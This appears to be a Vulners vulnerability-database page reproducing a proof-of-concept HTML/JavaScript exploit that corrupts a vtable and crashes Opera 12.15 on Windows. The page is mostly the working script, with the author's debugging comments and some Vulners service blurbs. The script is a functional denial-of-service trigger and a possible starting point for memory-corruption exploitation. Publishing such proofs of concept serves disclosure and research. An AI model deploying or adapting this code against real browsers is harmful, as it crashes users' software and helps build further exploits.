Vulners
Lucene search
Opera 12.15 vtable Corruption
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title> Opera 12.15 DOS POC</title>
</head>
<body>
<iframe id="wnd"></iframe>
<script type="text/javascript" language="JavaScript">
/*
Title: Opera 12.15 vTable Corruption
Author: echo
Test: Windows 7 x64
Version: Opera 12.15 Win32
Link: www.opera.com
*/
var wnd = document.getElementById("wnd");
wnd = wnd.contentWindow;
function d00m()
{
var tag = [];
tag.push(document.createElement("frame"));
tag.push(document.createElement("meter"));
wnd.document.body.appendChild(tag[0]);
wnd.document.body.appendChild(tag[1]);
/* step 1*/
var obj = tag[1];
var obj_1 = tag[0];
try{ obj_1.appendChild(obj); }catch(b){}
/* eax = [esi + 14h] = this->unknow20 */
try{ obj_1.getBoundingClientRect(); }catch(a){} /* ecx = [eax + 14h] = this->unknow20->unknow20 */
/* eax = [ecx] = this->unknow20->unknow20[vtBl] (correnct) */
/* step 2*/
var obj = tag[0];
var obj_1 = tag[1];
try{ obj_1.appendChild(obj); }catch(b){}
try{ obj_1.getBoundingClientRect();}catch(a){} /* eax = [esi + 14h] = this->unknow20 */
/* ecx = [eax + 14h] = this->unknow20->unknow20 */
} /* eax = [ecx] = this->unknow20->unknow20[vtBl] (uncorrect) 0x00000000 reference */
d00m();
/* so we have here some kind of memory corruption */
/* in "step 1" "vulnerable" code works fine he gets refernce to vtable and do some stuff */
/* in "step 2" the same code do the same thing but vtable of refernced object is corrupted and has value 0x0000000*/
/* logically next step should be checking why the vtable in "step 2" is corrupted */
/* i observed heap allocation and free function between "step 1" and "step 2" - no alloc and free of intersting area occurs (but maybe i fuckup something) */
/* We also can set mem access breakpoint on [eax+14h] at the right moment to find out what corrupt vtable */
</script>
<!--088241c155f232f70fcae7020157b9dcff210b84-->
</body>
</html>
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Jul 2014 00:00Current
6.7Medium risk
Vulners AI Score6.7